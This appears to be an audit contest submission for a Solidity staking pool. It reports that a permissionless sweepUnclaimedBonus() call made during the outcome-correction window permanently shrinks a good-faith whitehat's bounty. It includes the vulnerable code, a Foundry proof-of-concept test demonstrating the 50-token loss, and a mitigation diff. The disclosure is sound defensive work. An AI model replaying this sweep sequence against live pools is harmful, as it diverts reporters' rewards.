FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Permissionless sweepUnclaimedBonus() During the Re-Flag Window Reduces the Good-Faith CORRUPTED Bounty

Author Revealed upon completion

Description

Before the first claim, the moderator may correct a previously flagged outcome. When the corrected outcome is good-faith CORRUPTED, the named whitehat should receive the entire pool recorded as snapshotTotalStaked + snapshotTotalBonus.

However, sweepUnclaimedBonus() permits any address to transfer tracked bonus to recoveryAddress while the correction window remains open. The function decreases totalBonus but intentionally leaves claimsStarted unset. A subsequent correction therefore remains valid, but flagOutcome() re-snapshots the reduced totalBonus, permanently decreasing the whitehat's bounty.

The issue is not permissionless sweeping by itself. The issue is that tracked bonus is considered sweepable while a corrected distribution requiring that bonus remains reachable.

// src/ConfidencePool.sol
function flagOutcome(
PoolStates.Outcome newOutcome,
bool goodFaith_,
address attacker_
) external onlyModerator {
// @> Re-flagging remains possible until claimsStarted becomes true.
if (
outcome != PoolStates.Outcome.UNRESOLVED
&& claimsStarted
) revert OutcomeAlreadySet();
// ...
snapshotTotalStaked = totalEligibleStake;
// @> A correction re-snapshots the current totalBonus,
// which may already have been reduced by a permissionless sweep.
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
bool willBeGoodFaithCorrupted =
newOutcome == PoolStates.Outcome.CORRUPTED
&& goodFaith_;
// @> The whitehat's entitlement excludes any bonus swept
// before the correction.
bountyEntitlement = willBeGoodFaithCorrupted
? snapshotTotalStaked + snapshotTotalBonus
: 0;
// ...
}
function sweepUnclaimedBonus() external nonReentrant {
if (
outcome != PoolStates.Outcome.SURVIVED
&& outcome != PoolStates.Outcome.EXPIRED
) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount =
freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (
totalEligibleStake == 0
|| riskWindowStart == 0
) {
// @> The tracked bonus is removed from accounting.
totalBonus -= amount <= totalBonus
? amount
: totalBonus;
}
// @> claimsStarted is deliberately not set, so the moderator
// can still correct the outcome after value has left the pool.
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

Risk

Likelihood: Medium

  • This occurs during the documented correction window when a pool containing tracked bonus is initially flagged SURVIVED, no risk window was locally observed, and the moderator subsequently corrects the outcome to good-faith CORRUPTED.

  • Any address can monitor OutcomeFlagged and call sweepUnclaimedBonus() before the moderator submits the correction. The caller requires no capital, privileged role, token approval, or existing pool position.

  • The required moderator action is an ordinary correction explicitly supported by the protocol, rather than malicious privileged behavior.

Impact: Medium

  • The entire tracked bonus can be transferred to recoveryAddress instead of the named good-faith reporter.

  • The corrected bountyEntitlement is permanently reduced because the correction snapshots the already-decreased totalBonus.

  • The permissionless caller does not receive the funds directly, but can cause a quantified and irreversible loss of whitehat rewards.

  • In the demonstrated scenario, the whitehat receives 100 tokens instead of 150 tokens, losing the complete 50-token bonus.

Proof of Concept

The PoC proceeds as follows:

  1. Both pools receive 100 tokens of eligible stake and 50 tokens of tracked bonus.

  2. The mock registry is placed in the terminal CORRUPTED state while riskWindowStart remains zero, representing a pool that never locally observed the active-risk interval.

  3. In the control pool, the moderator first flags SURVIVED and then corrects it to good-faith CORRUPTED before any sweep. The resulting bountyEntitlement is 150 tokens, and the named whitehat successfully receives all 150 tokens.

  4. In the attacked pool, the moderator first flags the same SURVIVED outcome. Before the correction transaction, an arbitrary address calls sweepUnclaimedBonus(). Because no risk window was observed, the function treats the entire 50-token tracked bonus as unreserved and transfers it to recoveryAddress.

  5. The sweep does not set claimsStarted, so the moderator can still perform the documented correction to good-faith CORRUPTED. During this correction, flagOutcome() snapshots the now-zero totalBonus, reducing bountyEntitlement to 100 tokens.

  6. The final assertions prove that the control whitehat receives 150 tokens while the attacked-pool whitehat receives only 100 tokens. The 50-token difference is caused solely by the permissionless pre-correction sweep.

The permissionless caller receives no direct profit and requires no capital or role. The demonstrated security impact is the irreversible diversion of the complete tracked bonus away from the good-faith reporter.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
// Run with:
// FOUNDRY_CACHE_PATH=/tmp/bc_validation_confidence_pool_cache \
// FOUNDRY_OUT=/tmp/bc_validation_confidence_pool_out \
// forge test --offline \
// --match-path 'test/security/confidence_pool/CONFIDENCE-POOL-CAND-005.t.sol' \
// -vvv
import {ConfidencePool} from "src/ConfidencePool.sol";
import {
IAttackRegistry
} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {
BaseConfidencePoolTest
} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolCandidate005Test
is BaseConfidencePoolTest
{
function setUp() public override {
super.setUp();
vm.label(alice, "staker");
vm.label(carol, "bonus-contributor");
vm.label(bob, "permissionless-sweeper");
vm.label(attacker, "good-faith-whitehat");
vm.label(moderator, "protocol-moderator");
vm.label(recovery, "protocol-recovery");
vm.label(address(pool), "attacked-pool");
}
function testPermissionlessTrackedBonusSweepShrinksCorrectedWhitehatBounty()
external
{
ConfidencePool control = _deployPool();
vm.label(address(control), "control-pool");
// Both pools contain 100 stake and 50 tracked bonus.
_stakeOn(pool, alice, 100 * ONE);
_bonusOn(pool, carol, 50 * ONE);
_stakeOn(control, alice, 100 * ONE);
_bonusOn(control, carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
// Control: the moderator corrects the outcome before a sweep.
vm.prank(moderator);
control.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.prank(moderator);
control.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
attacker
);
assertEq(
control.bountyEntitlement(),
150 * ONE,
"control bounty includes stake and bonus"
);
uint256 attackerBeforeControl =
token.balanceOf(attacker);
vm.prank(attacker);
control.claimAttackerBounty();
assertEq(
token.balanceOf(attacker)
- attackerBeforeControl,
150 * ONE,
"control whitehat receives full bounty"
);
// Attacked pool receives the same preliminary outcome.
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
// Any address sweeps the tracked bonus before correction.
uint256 recoveryBefore =
token.balanceOf(recovery);
vm.prank(bob);
pool.sweepUnclaimedBonus();
assertFalse(
pool.claimsStarted(),
"correction remains permitted after the sweep"
);
assertEq(
token.balanceOf(recovery) - recoveryBefore,
50 * ONE,
"entire tracked bonus moved to recovery"
);
// The moderator performs the otherwise-valid correction.
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
attacker
);
// The correction snapshots zero remaining bonus.
assertEq(
pool.bountyEntitlement(),
100 * ONE,
"whitehat bounty is reduced by swept bonus"
);
uint256 attackerBeforeExploit =
token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(
token.balanceOf(attacker)
- attackerBeforeExploit,
100 * ONE,
"whitehat loses the entire 50-token bonus"
);
}
function _stakeOn(
ConfidencePool target,
address user,
uint256 amount
) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _bonusOn(
ConfidencePool target,
address user,
uint256 amount
) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
}

Recommended Mitigation

While claimsStarted == false, reserve all tracked bonus because a correction to good-faith CORRUPTED remains reachable. Permissionless sweeping may continue to recover direct-transfer donations, but it must not remove totalBonus until the correction window has closed.

function sweepUnclaimedBonus() external nonReentrant {
if (
outcome != PoolStates.Outcome.SURVIVED
&& outcome != PoolStates.Outcome.EXPIRED
) {
revert OutcomeNotEligibleForSweep();
}
- uint256 reserved;
- if (totalEligibleStake != 0) {
- reserved = totalEligibleStake;
- if (riskWindowStart != 0) {
- reserved += snapshotTotalBonus - claimedBonus;
- }
+ uint256 reserved = totalEligibleStake;
+
+ // Outcome correction remains possible until claimsStarted.
+ // Preserve all tracked bonus required by a still-reachable
+ // good-faith CORRUPTED distribution.
+ if (!claimsStarted) {
+ reserved += totalBonus;
+ } else if (
+ totalEligibleStake != 0
+ && riskWindowStart != 0
+ ) {
+ reserved += snapshotTotalBonus - claimedBonus;
}
uint256 freeBalance =
stakeToken.balanceOf(address(this));
uint256 amount =
freeBalance > reserved
? freeBalance - reserved
: 0;
if (amount == 0) revert NothingToSweep();
- if (
- totalEligibleStake == 0
- || riskWindowStart == 0
- ) {
+ // Tracked bonus may only be removed after correction has
+ // become impossible. Before that point, `amount` can only
+ // consist of untracked direct-transfer donations.
+ if (
+ claimsStarted
+ && (
+ totalEligibleStake == 0
+ || riskWindowStart == 0
+ )
+ ) {
totalBonus -= amount <= totalBonus
? amount
: totalBonus;
}
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(
msg.sender,
recoveryAddress,
amount
);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!